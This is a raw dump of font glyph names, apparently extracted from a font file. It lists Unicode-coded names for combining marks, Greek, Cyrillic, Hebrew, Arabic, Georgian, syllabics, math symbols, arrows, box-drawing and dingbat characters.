hookabovecombuni030Auni030Buni030Cuni030Duni030Euni030Funi0310uni0311uni0312uni0313uni0314uni0315uni0316uni0317uni0318uni0319uni031Auni031Buni031Cuni031Duni031Euni031Funi0320uni0321uni0322dotbelowcombuni0324uni0325uni0326uni0327uni0328uni0329uni032Auni032Buni032Cuni032Duni032Euni032Funi0330uni0331uni0332uni0333uni0334uni0335uni0336uni0337uni0338uni0339uni033Auni033Buni033Cuni033Duni033Euni033Funi0340uni0341uni0342uni0343uni0344uni0345uni0346uni0347uni0348uni0349uni034Auni034Buni034Cuni034Duni034Euni034Funi0351uni0352uni0353uni0357uni0358uni035Auni035Cuni035Duni035Euni035Funi0360uni0361uni0362uni0370uni0371uni0372uni0373uni0374uni0375uni0376uni0377uni037Auni037Buni037Cuni037Duni037Euni037Ftonos
dieresistonos
Alphatonos	anoteleiaEpsilontonosEtatonos	IotatonosOmicrontonosUpsilontonos
OmegatonosiotadieresistonosAlphaBetaGammauni0394EpsilonZetaEtaThetaIotaKappaLambdaMuNuXiOmicronPiRhoSigmaTauUpsilonPhiChiPsiIotadieresisUpsilondieresis
alphatonosepsilontonosetatonos	iotatonosupsilondieresistonosalphabetagammadeltaepsilonzetaetathetaiotakappalambdauni03BCnuxiomicronrhosigma1sigmatauupsilonphichipsiomegaiotadieresisupsilondieresisomicrontonosupsilontonos
omegatonosuni03CFuni03D0theta1Upsilon1uni03D3uni03D4phi1omega1uni03D7uni03D8uni03D9uni03DAuni03DBuni03DCuni03DDuni03DEuni03DFuni03E0uni03E1uni03E2uni03E3uni03E4uni03E5uni03E6uni03E7uni03E8uni03E9uni03EAuni03EBuni03ECuni03EDuni03EEuni03EFuni03F0uni03F1uni03F2uni03F3uni03F4uni03F5uni03F6uni03F7uni03F8uni03F9uni03FAuni03FBuni03FCuni03FDuni03FEuni03FFuni0400uni0401uni0402uni0403uni0404uni0405uni0406uni0407uni0408uni0409uni040Auni040Buni040Cuni040Duni040Euni040Funi0410uni0411uni0412uni0413uni0414uni0415uni0416uni0417uni0418uni0419uni041Auni041Buni041Cuni041Duni041Euni041Funi0420uni0421uni0422uni0423uni0424uni0425uni0426uni0427uni0428uni0429uni042Auni042Buni042Cuni042Duni042Euni042Funi0430uni0431uni0432uni0433uni0434uni0435uni0436uni0437uni0438uni0439uni043Auni043Buni043Cuni043Duni043Euni043Funi0440uni0441uni0442uni0443uni0444uni0445uni0446uni0447uni0448uni0449uni044Auni044Buni044Cuni044Duni044Euni044Funi0450uni0451uni0452uni0453uni0454uni0455uni0456uni0457uni0458uni0459uni045Auni045Buni045Cuni045Duni045Euni045Funi0460uni0461uni0462uni0463uni0464uni0465uni0466uni0467uni0468uni0469uni046Auni046Buni046Cuni046Duni046Euni046Funi0470uni0471uni0472uni0473uni0474uni0475uni0476uni0477uni0478uni0479uni047Auni047Buni047Cuni047Duni047Euni047Funi0480uni0481uni0482uni0483uni0484uni0485uni0486uni0487uni0488uni0489uni048Auni048Buni048Cuni048Duni048Euni048Funi0490uni0491uni0492uni0493uni0494uni0495uni0496uni0497uni0498uni0499uni049Auni049Buni049Cuni049Duni049Euni049Funi04A0uni04A1uni04A2uni04A3uni04A4uni04A5uni04A6uni04A7uni04A8uni04A9uni04AAuni04ABuni04ACuni04ADuni04AEuni04AFuni04B0uni04B1uni04B2uni04B3uni04B4uni04B5uni04B6uni04B7uni04B8uni04B9uni04BAuni04BBuni04BCuni04BDuni04BEuni04BFuni04C0uni04C1uni04C2uni04C3uni04C4uni04C5uni04C6uni04C7uni04C8uni04C9uni04CAuni04CBuni04CCuni04CDuni04CEuni04CFuni04D0uni04D1uni04D2uni04D3uni04D4uni04D5uni04D6uni04D7uni04D8uni04D9uni04DAuni04DBuni04DCuni04DDuni04DEuni04DFuni04E0uni04E1uni04E2uni04E3uni04E4uni04E5uni04E6uni04E7uni04E8uni04E9uni04EAuni04EBuni04ECuni04EDuni04EEuni04EFuni04F0uni04F1uni04F2uni04F3uni04F4uni04F5uni04F6uni04F7uni04F8uni04F9uni04FAuni04FBuni04FCuni04FDuni04FEuni04FFuni0500uni0501uni0502uni0503uni0504uni0505uni0506uni0507uni0508uni0509uni050Auni050Buni050Cuni050Duni050Euni050Funi0510uni0511uni0512uni0513uni0514uni0515uni0516uni0517uni0518uni0519uni051Auni051Buni051Cuni051Duni051Euni051Funi0520uni0521uni0522uni0523uni0524uni0525uni0531uni0532uni0533uni0534uni0535uni0536uni0537uni0538uni0539uni053Auni053Buni053Cuni053Duni053Euni053Funi0540uni0541uni0542uni0543uni0544uni0545uni0546uni0547uni0548uni0549uni054Auni054Buni054Cuni054Duni054Euni054Funi0550uni0551uni0552uni0553uni0554uni0555uni0556uni0559uni055Auni055Buni055Cuni055Duni055Euni055Funi0561uni0562uni0563uni0564uni0565uni0566uni0567uni0568uni0569uni056Auni056Buni056Cuni056Duni056Euni056Funi0570uni0571uni0572uni0573uni0574uni0575uni0576uni0577uni0578uni0579uni057Auni057Buni057Cuni057Duni057Euni057Funi0580uni0581uni0582uni0583uni0584uni0585uni0586uni0587uni0589uni058Auni05B0uni05B1uni05B2uni05B3uni05B4uni05B5uni05B6uni05B7uni05B8uni05B9uni05BAuni05BBuni05BCuni05BDuni05BEuni05BFuni05C0uni05C1uni05C2uni05C3uni05C6uni05C7uni05D0uni05D1uni05D2uni05D3uni05D4uni05D5uni05D6uni05D7uni05D8uni05D9uni05DAuni05DBuni05DCuni05DDuni05DEuni05DFuni05E0uni05E1uni05E2uni05E3uni05E4uni05E5uni05E6uni05E7uni05E8uni05E9uni05EAuni05F0uni05F1uni05F2uni05F3uni05F4uni0606uni0607uni0609uni060Auni060Cuni0615uni061Buni061Funi0621uni0622uni0623uni0624uni0625uni0626uni0627uni0628uni0629uni062Auni062Buni062Cuni062Duni062Euni062Funi0630uni0631uni0632uni0633uni0634uni0635uni0636uni0637uni0638uni0639uni063Auni0640uni0641uni0642uni0643uni0644uni0645uni0646uni0647uni0648uni0649uni064Auni064Buni064Cuni064Duni064Euni064Funi0650uni0651uni0652uni0653uni0654uni0655uni0657uni065Auni0660uni0661uni0662uni0663uni0664uni0665uni0666uni0667uni0668uni0669uni066Auni066Buni066Cuni066Duni066Euni066Funi0670uni0674uni0679uni067Auni067Buni067Cuni067Duni067Euni067Funi0680uni0681uni0682uni0683uni0684uni0685uni0686uni0687uni0688uni0689uni068Auni068Buni068Cuni068Duni068Euni068Funi0690uni0691uni0692uni0693uni0694uni0695uni0696uni0697uni0698uni0699uni069Auni069Buni069Cuni069Duni069Euni069Funi06A0uni06A1uni06A2uni06A3uni06A4uni06A5uni06A6uni06A7uni06A8uni06A9uni06AAuni06ABuni06ACuni06ADuni06AEuni06AFuni06B0uni06B1uni06B2uni06B3uni06B4uni06B5uni06B6uni06B7uni06B8uni06B9uni06BAuni06BBuni06BCuni06BDuni06BEuni06BFuni06C6uni06C7uni06C8uni06CBuni06CCuni06CEuni06D0uni06D5uni06F0uni06F1uni06F2uni06F3uni06F4uni06F5uni06F6uni06F7uni06F8uni06F9uni07C0uni07C1uni07C2uni07C3uni07C4uni07C5uni07C6uni07C7uni07C8uni07C9uni07CAuni07CBuni07CCuni07CDuni07CEuni07CFuni07D0uni07D1uni07D2uni07D3uni07D4uni07D5uni07D6uni07D7uni07D8uni07D9uni07DAuni07DBuni07DCuni07DDuni07DEuni07DFuni07E0uni07E1uni07E2uni07E3uni07E4uni07E5uni07E6uni07E7uni07EBuni07ECuni07EDuni07EEuni07EFuni07F0uni07F1uni07F2uni07F3uni07F4uni07F5uni07F8uni07F9uni07FAuni0E3Funi0E81uni0E82uni0E84uni0E87uni0E88uni0E8Auni0E8Duni0E94uni0E95uni0E96uni0E97uni0E99uni0E9Auni0E9Buni0E9Cuni0E9Duni0E9Euni0E9Funi0EA1uni0EA2uni0EA3uni0EA5uni0EA7uni0EAAuni0EABuni0EADuni0EAEuni0EAFuni0EB0uni0EB1uni0EB2uni0EB3uni0EB4uni0EB5uni0EB6uni0EB7uni0EB8uni0EB9uni0EBBuni0EBCuni0EBDuni0EC0uni0EC1uni0EC2uni0EC3uni0EC4uni0EC6uni0EC8uni0EC9uni0ECAuni0ECBuni0ECCuni0ECDuni0ED0uni0ED1uni0ED2uni0ED3uni0ED4uni0ED5uni0ED6uni0ED7uni0ED8uni0ED9uni0EDCuni0EDDuni10A0uni10A1uni10A2uni10A3uni10A4uni10A5uni10A6uni10A7uni10A8uni10A9uni10AAuni10ABuni10ACuni10ADuni10AEuni10AFuni10B0uni10B1uni10B2uni10B3uni10B4uni10B5uni10B6uni10B7uni10B8uni10B9uni10BAuni10BBuni10BCuni10BDuni10BEuni10BFuni10C0uni10C1uni10C2uni10C3uni10C4uni10C5uni10D0uni10D1uni10D2uni10D3uni10D4uni10D5uni10D6uni10D7uni10D8uni10D9uni10DAuni10DBuni10DCuni10DDuni10DEuni10DFuni10E0uni10E1uni10E2uni10E3uni10E4uni10E5uni10E6uni10E7uni10E8uni10E9uni10EAuni10EBuni10ECuni10EDuni10EEuni10EFuni10F0uni10F1uni10F2uni10F3uni10F4uni10F5uni10F6uni10F7uni10F8uni10F9uni10FAuni10FBuni10FCuni1401uni1402uni1403uni1404uni1405uni1406uni1407uni1409uni140Auni140Buni140Cuni140Duni140Euni140Funi1410uni1411uni1412uni1413uni1414uni1415uni1416uni1417uni1418uni1419uni141Auni141Buni141Duni141Euni141Funi1420uni1421uni1422uni1423uni1424uni1425uni1426uni1427uni1428uni1429uni142Auni142Buni142Cuni142Duni142Euni142Funi1430uni1431uni1432uni1433uni1434uni1435uni1437uni1438uni1439uni143Auni143Buni143Cuni143Duni143Euni143Funi1440uni1441uni1442uni1443uni1444uni1445uni1446uni1447uni1448uni1449uni144Auni144Cuni144Duni144Euni144Funi1450uni1451uni1452uni1454uni1455uni1456uni1457uni1458uni1459uni145Auni145Buni145Cuni145Duni145Euni145Funi1460uni1461uni1462uni1463uni1464uni1465uni1466uni1467uni1468uni1469uni146Auni146Buni146Cuni146Duni146Euni146Funi1470uni1471uni1472uni1473uni1474uni1475uni1476uni1477uni1478uni1479uni147Auni147Buni147Cuni147Duni147Euni147Funi1480uni1481uni1482uni1483uni1484uni1485uni1486uni1487uni1488uni1489uni148Auni148Buni148Cuni148Duni148Euni148Funi1490uni1491uni1492uni1493uni1494uni1495uni1496uni1497uni1498uni1499uni149Auni149Buni149Cuni149Duni149Euni149Funi14A0uni14A1uni14A2uni14A3uni14A4uni14A5uni14A6uni14A7uni14A8uni14A9uni14AAuni14ABuni14ACuni14ADuni14AEuni14AFuni14B0uni14B1uni14B2uni14B3uni14B4uni14B5uni14B6uni14B7uni14B8uni14B9uni14BAuni14BBuni14BCuni14BDuni14C0uni14C1uni14C2uni14C3uni14C4uni14C5uni14C6uni14C7uni14C8uni14C9uni14CAuni14CBuni14CCuni14CDuni14CEuni14CFuni14D0uni14D1uni14D2uni14D3uni14D4uni14D5uni14D6uni14D7uni14D8uni14D9uni14DAuni14DBuni14DCuni14DDuni14DEuni14DFuni14E0uni14E1uni14E2uni14E3uni14E4uni14E5uni14E6uni14E7uni14E8uni14E9uni14EAuni14ECuni14EDuni14EEuni14EFuni14F0uni14F1uni14F2uni14F3uni14F4uni14F5uni14F6uni14F7uni14F8uni14F9uni14FAuni14FBuni14FCuni14FDuni14FEuni14FFuni1500uni1501uni1502uni1503uni1504uni1505uni1506uni1507uni1510uni1511uni1512uni1513uni1514uni1515uni1516uni1517uni1518uni1519uni151Auni151Buni151Cuni151Duni151Euni151Funi1520uni1521uni1522uni1523uni1524uni1525uni1526uni1527uni1528uni1529uni152Auni152Buni152Cuni152Duni152Euni152Funi1530uni1531uni1532uni1533uni1534uni1535uni1536uni1537uni1538uni1539uni153Auni153Buni153Cuni153Duni153Euni1540uni1541uni1542uni1543uni1544uni1545uni1546uni1547uni1548uni1549uni154Auni154Buni154Cuni154Duni154Euni154Funi1550uni1552uni1553uni1554uni1555uni1556uni1557uni1558uni1559uni155Auni155Buni155Cuni155Duni155Euni155Funi1560uni1561uni1562uni1563uni1564uni1565uni1566uni1567uni1568uni1569uni156Auni1574uni1575uni1576uni1577uni1578uni1579uni157Auni157Buni157Cuni157Duni157Euni157Funi1580uni1581uni1582uni1583uni1584uni1585uni158Auni158Buni158Cuni158Duni158Euni158Funi1590uni1591uni1592uni1593uni1594uni1595uni1596uni15A0uni15A1uni15A2uni15A3uni15A4uni15A5uni15A6uni15A7uni15A8uni15A9uni15AAuni15ABuni15ACuni15ADuni15AEuni15AFuni15DEuni15E1uni1646uni1647uni166Euni166Funi1670uni1671uni1672uni1673uni1674uni1675uni1676uni1680uni1681uni1682uni1683uni1684uni1685uni1686uni1687uni1688uni1689uni168Auni168Buni168Cuni168Duni168Euni168Funi1690uni1691uni1692uni1693uni1694uni1695uni1696uni1697uni1698uni1699uni169Auni169Buni169Cuni1D00uni1D01uni1D02uni1D03uni1D04uni1D05uni1D06uni1D07uni1D08uni1D09uni1D0Auni1D0Buni1D0Cuni1D0Duni1D0Euni1D0Funi1D10uni1D11uni1D12uni1D13uni1D14uni1D16uni1D17uni1D18uni1D19uni1D1Auni1D1Buni1D1Cuni1D1Duni1D1Euni1D1Funi1D20uni1D21uni1D22uni1D23uni1D26uni1D27uni1D28uni1D29uni1D2Auni1D2Buni1D2Cuni1D2Duni1D2Euni1D30uni1D31uni1D32uni1D33uni1D34uni1D35uni1D36uni1D37uni1D38uni1D39uni1D3Auni1D3Buni1D3Cuni1D3Duni1D3Euni1D3Funi1D40uni1D41uni1D42uni1D43uni1D44uni1D45uni1D46uni1D47uni1D48uni1D49uni1D4Auni1D4Buni1D4Cuni1D4Duni1D4Euni1D4Funi1D50uni1D51uni1D52uni1D53uni1D54uni1D55uni1D56uni1D57uni1D58uni1D59uni1D5Auni1D5Buni1D5Duni1D5Euni1D5Funi1D60uni1D61uni1D62uni1D63uni1D64uni1D65uni1D66uni1D67uni1D68uni1D69uni1D6Auni1D77uni1D78uni1D7Buni1D7Duni1D85uni1D9Buni1D9Cuni1D9Duni1D9Euni1D9Funi1DA0uni1DA1uni1DA2uni1DA3uni1DA4uni1DA5uni1DA6uni1DA7uni1DA8uni1DA9uni1DAAuni1DABuni1DACuni1DADuni1DAEuni1DAFuni1DB0uni1DB1uni1DB2uni1DB3uni1DB4uni1DB5uni1DB6uni1DB7uni1DB8uni1DB9uni1DBAuni1DBBuni1DBCuni1DBDuni1DBEuni1DBFuni1DC4uni1DC5uni1DC6uni1DC7uni1DC8uni1DC9uni1E00uni1E01uni1E02uni1E03uni1E04uni1E05uni1E06uni1E07uni1E08uni1E09uni1E0Auni1E0Buni1E0Cuni1E0Duni1E0Euni1E0Funi1E10uni1E11uni1E12uni1E13uni1E14uni1E15uni1E16uni1E17uni1E18uni1E19uni1E1Auni1E1Buni1E1Cuni1E1Duni1E1Euni1E1Funi1E20uni1E21uni1E22uni1E23uni1E24uni1E25uni1E26uni1E27uni1E28uni1E29uni1E2Auni1E2Buni1E2Cuni1E2Duni1E2Euni1E2Funi1E30uni1E31uni1E32uni1E33uni1E34uni1E35uni1E36uni1E37uni1E38uni1E39uni1E3Auni1E3Buni1E3Cuni1E3Duni1E3Euni1E3Funi1E40uni1E41uni1E42uni1E43uni1E44uni1E45uni1E46uni1E47uni1E48uni1E49uni1E4Auni1E4Buni1E4Cuni1E4Duni1E4Euni1E4Funi1E50uni1E51uni1E52uni1E53uni1E54uni1E55uni1E56uni1E57uni1E58uni1E59uni1E5Auni1E5Buni1E5Cuni1E5Duni1E5Euni1E5Funi1E60uni1E61uni1E62uni1E63uni1E64uni1E65uni1E66uni1E67uni1E68uni1E69uni1E6Auni1E6Buni1E6Cuni1E6Duni1E6Euni1E6Funi1E70uni1E71uni1E72uni1E73uni1E74uni1E75uni1E76uni1E77uni1E78uni1E79uni1E7Auni1E7Buni1E7Cuni1E7Duni1E7Euni1E7FWgravewgraveWacutewacute	Wdieresis	wdieresisuni1E86uni1E87uni1E88uni1E89uni1E8Auni1E8Buni1E8Cuni1E8Duni1E8Euni1E8Funi1E90uni1E91uni1E92uni1E93uni1E94uni1E95uni1E96uni1E97uni1E98uni1E99uni1E9Auni1E9Buni1E9Cuni1E9Duni1E9Euni1E9Funi1EA0uni1EA1uni1EA2uni1EA3uni1EA4uni1EA5uni1EA6uni1EA7uni1EA8uni1EA9uni1EAAuni1EABuni1EACuni1EADuni1EAEuni1EAFuni1EB0uni1EB1uni1EB2uni1EB3uni1EB4uni1EB5uni1EB6uni1EB7uni1EB8uni1EB9uni1EBAuni1EBBuni1EBCuni1EBDuni1EBEuni1EBFuni1EC0uni1EC1uni1EC2uni1EC3uni1EC4uni1EC5uni1EC6uni1EC7uni1EC8uni1EC9uni1ECAuni1ECBuni1ECCuni1ECDuni1ECEuni1ECFuni1ED0uni1ED1uni1ED2uni1ED3uni1ED4uni1ED5uni1ED6uni1ED7uni1ED8uni1ED9uni1EDAuni1EDBuni1EDCuni1EDDuni1EDEuni1EDFuni1EE0uni1EE1uni1EE2uni1EE3uni1EE4uni1EE5uni1EE6uni1EE7uni1EE8uni1EE9uni1EEAuni1EEBuni1EECuni1EEDuni1EEEuni1EEFuni1EF0uni1EF1Ygraveygraveuni1EF4uni1EF5uni1EF6uni1EF7uni1EF8uni1EF9uni1EFAuni1EFBuni1F00uni1F01uni1F02uni1F03uni1F04uni1F05uni1F06uni1F07uni1F08uni1F09uni1F0Auni1F0Buni1F0Cuni1F0Duni1F0Euni1F0Funi1F10uni1F11uni1F12uni1F13uni1F14uni1F15uni1F18uni1F19uni1F1Auni1F1Buni1F1Cuni1F1Duni1F20uni1F21uni1F22uni1F23uni1F24uni1F25uni1F26uni1F27uni1F28uni1F29uni1F2Auni1F2Buni1F2Cuni1F2Duni1F2Euni1F2Funi1F30uni1F31uni1F32uni1F33uni1F34uni1F35uni1F36uni1F37uni1F38uni1F39uni1F3Auni1F3Buni1F3Cuni1F3Duni1F3Euni1F3Funi1F40uni1F41uni1F42uni1F43uni1F44uni1F45uni1F48uni1F49uni1F4Auni1F4Buni1F4Cuni1F4Duni1F50uni1F51uni1F52uni1F53uni1F54uni1F55uni1F56uni1F57uni1F59uni1F5Buni1F5Duni1F5Funi1F60uni1F61uni1F62uni1F63uni1F64uni1F65uni1F66uni1F67uni1F68uni1F69uni1F6Auni1F6Buni1F6Cuni1F6Duni1F6Euni1F6Funi1F70uni1F71uni1F72uni1F73uni1F74uni1F75uni1F76uni1F77uni1F78uni1F79uni1F7Auni1F7Buni1F7Cuni1F7Duni1F80uni1F81uni1F82uni1F83uni1F84uni1F85uni1F86uni1F87uni1F88uni1F89uni1F8Auni1F8Buni1F8Cuni1F8Duni1F8Euni1F8Funi1F90uni1F91uni1F92uni1F93uni1F94uni1F95uni1F96uni1F97uni1F98uni1F99uni1F9Auni1F9Buni1F9Cuni1F9Duni1F9Euni1F9Funi1FA0uni1FA1uni1FA2uni1FA3uni1FA4uni1FA5uni1FA6uni1FA7uni1FA8uni1FA9uni1FAAuni1FABuni1FACuni1FADuni1FAEuni1FAFuni1FB0uni1FB1uni1FB2uni1FB3uni1FB4uni1FB6uni1FB7uni1FB8uni1FB9uni1FBAuni1FBBuni1FBCuni1FBDuni1FBEuni1FBFuni1FC0uni1FC1uni1FC2uni1FC3uni1FC4uni1FC6uni1FC7uni1FC8uni1FC9uni1FCAuni1FCBuni1FCCuni1FCDuni1FCEuni1FCFuni1FD0uni1FD1uni1FD2uni1FD3uni1FD6uni1FD7uni1FD8uni1FD9uni1FDAuni1FDBuni1FDDuni1FDEuni1FDFuni1FE0uni1FE1uni1FE2uni1FE3uni1FE4uni1FE5uni1FE6uni1FE7uni1FE8uni1FE9uni1FEAuni1FEBuni1FECuni1FEDuni1FEEuni1FEFuni1FF2uni1FF3uni1FF4uni1FF6uni1FF7uni1FF8uni1FF9uni1FFAuni1FFBuni1FFCuni1FFDuni1FFEuni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni200Buni200Cuni200Duni200Euni200Funi2010uni2011
figuredashuni2015uni2016
underscoredbl
quotereverseduni201Funi2023onedotenleadertwodotenleaderuni2027uni2028uni2029uni202Auni202Buni202Cuni202Duni202Euni202Funi2031minuteseconduni2034uni2035uni2036uni2037uni2038uni203B	exclamdbluni203Duni203Euni203Funi2040uni2041uni2042uni2043uni2045uni2046uni2047uni2048uni2049uni204Auni204Buni204Cuni204Duni204Euni204Funi2050uni2051uni2052uni2053uni2054uni2055uni2056uni2057uni2058uni2059uni205Auni205Buni205Cuni205Duni205Euni205Funi2060uni2061uni2062uni2063uni2064uni206Auni206Buni206Cuni206Duni206Euni206Funi2070uni2071uni2074uni2075uni2076uni2077uni2078uni2079uni207Auni207Buni207Cuni207Duni207Euni207Funi2080uni2081uni2082uni2083uni2084uni2085uni2086uni2087uni2088uni2089uni208Auni208Buni208Cuni208Duni208Euni2090uni2091uni2092uni2093uni2094uni2095uni2096uni2097uni2098uni2099uni209Auni209Buni209Cuni20A0
colonmonetaryuni20A2lirauni20A5uni20A6pesetauni20A8uni20A9uni20AAdongEurouni20ADuni20AEuni20AFuni20B0uni20B1uni20B2uni20B3uni20B4uni20B5uni20B8uni20B9uni20BAuni20BDuni20D0uni20D1uni20D6uni20D7uni20DBuni20DCuni20E1uni2100uni2101uni2102uni2103uni2104uni2105uni2106uni2107uni2108uni2109uni210Buni210Cuni210Duni210Euni210Funi2110Ifrakturuni2112uni2113uni2114uni2115uni2116uni2117weierstrassuni2119uni211Auni211BRfrakturuni211Dprescriptionuni211Funi2120uni2121uni2123uni2124uni2125uni2126uni2127uni2128uni2129uni212Auni212Buni212Cuni212D	estimateduni212Funi2130uni2131uni2132uni2133uni2134alephuni2136uni2137uni2138uni2139uni213Auni213Buni213Cuni213Duni213Euni213Funi2140uni2141uni2142uni2143uni2144uni2145uni2146uni2147uni2148uni2149uni214Buni214Euni2150uni2151uni2152onethird	twothirdsuni2155uni2156uni2157uni2158uni2159uni215A	oneeighththreeeighthsfiveeighthsseveneighthsuni215Funi2160uni2161uni2162uni2163uni2164uni2165uni2166uni2167uni2168uni2169uni216Auni216Buni216Cuni216Duni216Euni216Funi2170uni2171uni2172uni2173uni2174uni2175uni2176uni2177uni2178uni2179uni217Auni217Buni217Cuni217Duni217Euni217Funi2180uni2181uni2182uni2183uni2184uni2185uni2189	arrowleftarrowup
arrowright	arrowdown	arrowboth	arrowupdnuni2196uni2197uni2198uni2199uni219Auni219Buni219Cuni219Duni219Euni219Funi21A0uni21A1uni21A2uni21A3uni21A4uni21A5uni21A6uni21A7arrowupdnbseuni21A9uni21AAuni21ABuni21ACuni21ADuni21AEuni21AFuni21B0uni21B1uni21B2uni21B3uni21B4carriagereturnuni21B6uni21B7uni21B8uni21B9uni21BAuni21BBuni21BCuni21BDuni21BEuni21BFuni21C0uni21C1uni21C2uni21C3uni21C4uni21C5uni21C6uni21C7uni21C8uni21C9uni21CAuni21CBuni21CCuni21CDuni21CEuni21CFarrowdblleft
arrowdblup
arrowdblrightarrowdbldownarrowdblbothuni21D5uni21D6uni21D7uni21D8uni21D9uni21DAuni21DBuni21DCuni21DDuni21DEuni21DFuni21E0uni21E1uni21E2uni21E3uni21E4uni21E5uni21E6uni21E7uni21E8uni21E9uni21EAuni21EBuni21ECuni21EDuni21EEuni21EFuni21F0uni21F1uni21F2uni21F3uni21F4uni21F5uni21F6uni21F7uni21F8uni21F9uni21FAuni21FBuni21FCuni21FDuni21FEuni21FF	universaluni2201existentialuni2204emptysetgradientelement
notelementuni220Asuchthatuni220Cuni220Duni220Euni2210uni2213uni2214uni2215uni2216asteriskmathuni2218uni2219uni221Buni221Cproportional
orthogonalangleuni2221uni2222uni2223uni2224uni2225uni2226
logicaland	logicalorintersectionunionuni222Cuni222Duni222Euni222Funi2230uni2231uni2232uni2233	thereforeuni2235uni2236uni2237uni2238uni2239uni223Auni223Bsimilaruni223Duni223Euni223Funi2240uni2241uni2242uni2243uni2244	congruentuni2246uni2247uni2249uni224Auni224Buni224Cuni224Duni224Euni224Funi2250uni2251uni2252uni2253uni2254uni2255uni2256uni2257uni2258uni2259uni225Auni225Buni225Cuni225Duni225Euni225Fequivalenceuni2262uni2263uni2266uni2267uni2268uni2269uni226Auni226Buni226Cuni226Duni226Euni226Funi2270uni2271uni2272uni2273uni2274uni2275uni2276uni2277uni2278uni2279uni227Auni227Buni227Cuni227Duni227Euni227Funi2280uni2281propersubsetpropersuperset	notsubsetuni2285reflexsubsetreflexsupersetuni2288uni2289uni228Auni228Buni228Cuni228Duni228Euni228Funi2290uni2291uni2292uni2293uni2294
circleplusuni2296circlemultiplyuni2298uni2299uni229Auni229Buni229Cuni229Duni229Euni229Funi22A0uni22A1uni22A2uni22A3uni22A4
perpendicularuni22A6uni22A7uni22A8uni22A9uni22AAuni22ABuni22ACuni22ADuni22AEuni22AFuni22B0uni22B1uni22B2uni22B3uni22B4uni22B5uni22B6uni22B7uni22B8uni22B9uni22BAuni22BBuni22BCuni22BDuni22BEuni22BFuni22C0uni22C1uni22C2uni22C3uni22C4dotmathuni22C6uni22C7uni22C8uni22C9uni22CAuni22CBuni22CCuni22CDuni22CEuni22CFuni22D0uni22D1uni22D2uni22D3uni22D4uni22D5uni22D6uni22D7uni22D8uni22D9uni22DAuni22DBuni22DCuni22DDuni22DEuni22DFuni22E0uni22E1uni22E2uni22E3uni22E4uni22E5uni22E6uni22E7uni22E8uni22E9uni22EAuni22EBuni22ECuni22EDuni22EEuni22EFuni22F0uni22F1uni22F2uni22F3uni22F4uni22F5uni22F6uni22F7uni22F8uni22F9uni22FAuni22FBuni22FCuni22FDuni22FEuni22FFuni2300uni2301houseuni2303uni2304uni2305uni2306uni2307uni2308uni2309uni230Auni230Buni230Cuni230Duni230Euni230F
revlogicalnotuni2311uni2318uni2319uni231Cuni231Duni231Euni231F
integraltp
integralbtuni2324uni2325uni2326uni2327uni2328uni232Buni232Cuni2373uni2374uni2375uni237Auni237Duni2387uni2394uni239Buni239Cuni239Duni239Euni239Funi23A0uni23A1uni23A2uni23A3uni23A4uni23A5uni23A6uni23A7uni23A8uni23A9uni23AAuni23ABuni23ACuni23ADuni23AEuni23CEuni23CFuni23E3uni23E5uni23E8uni2422uni2423uni2460uni2461uni2462uni2463uni2464uni2465uni2466uni2467uni2468uni2469SF100000uni2501SF110000uni2503uni2504uni2505uni2506uni2507uni2508uni2509uni250Auni250BSF010000uni250Duni250Euni250FSF030000uni2511uni2512uni2513SF020000uni2515uni2516uni2517SF040000uni2519uni251Auni251BSF080000uni251Duni251Euni251Funi2520uni2521uni2522uni2523SF090000uni2525uni2526uni2527uni2528uni2529uni252Auni252BSF060000uni252Duni252Euni252Funi2530uni2531uni2532uni2533SF070000uni2535uni2536uni2537uni2538uni2539uni253Auni253BSF050000uni253Duni253Euni253Funi2540uni2541uni2542uni2543uni2544uni2545uni2546uni2547uni2548uni2549uni254Auni254Buni254Cuni254Duni254Euni254FSF430000SF240000SF510000SF520000SF390000SF220000SF210000SF250000SF500000SF490000SF380000SF280000SF270000SF260000SF360000SF370000SF420000SF190000SF200000SF230000SF470000SF480000SF410000SF450000SF460000SF400000SF540000SF530000SF440000uni256Duni256Euni256Funi2570uni2571uni2572uni2573uni2574uni2575uni2576uni2577uni2578uni2579uni257Auni257Buni257Cuni257Duni257Euni257Fupblockuni2581uni2582uni2583dnblockuni2585uni2586uni2587blockuni2589uni258Auni258Blfblockuni258Duni258Euni258Frtblockltshadeshadedkshadeuni2594uni2595uni2596uni2597uni2598uni2599uni259Auni259Buni259Cuni259Duni259Euni259F	filledboxH22073uni25A2uni25A3uni25A4uni25A5uni25A6uni25A7uni25A8uni25A9H18543H18551
filledrectuni25ADuni25AEuni25AFuni25B0uni25B1triagupuni25B3uni25B4uni25B5uni25B6uni25B7uni25B8uni25B9triagrtuni25BBtriagdnuni25BDuni25BEuni25BFuni25C0uni25C1uni25C2uni25C3triaglfuni25C5uni25C6uni25C7uni25C8uni25C9circleuni25CCuni25CDuni25CEH18533uni25D0uni25D1uni25D2uni25D3uni25D4uni25D5uni25D6uni25D7	invbullet	invcircleuni25DAuni25DBuni25DCuni25DDuni25DEuni25DFuni25E0uni25E1uni25E2uni25E3uni25E4uni25E5
openbulletuni25E7uni25E8uni25E9uni25EAuni25EBuni25ECuni25EDuni25EEuni25EFuni25F0uni25F1uni25F2uni25F3uni25F4uni25F5uni25F6uni25F7uni25F8uni25F9uni25FAuni25FBuni25FCuni25FDuni25FEuni25FFuni2600uni2601uni2602uni2603uni2604uni2605uni2606uni2607uni2608uni2609uni260Auni260Buni260Cuni260Duni260Euni260Funi2610uni2611uni2612uni2613uni2614uni2615uni2616uni2617uni2618uni2619uni261Auni261Buni261Cuni261Duni261Euni261Funi2620uni2621uni2622uni2623uni2624uni2625uni2626uni2627uni2628uni2629uni262Auni262Buni262Cuni262Duni262Euni262Funi2630uni2631uni2632uni2633uni2634uni2635uni2636uni2637uni2638uni2639	smileface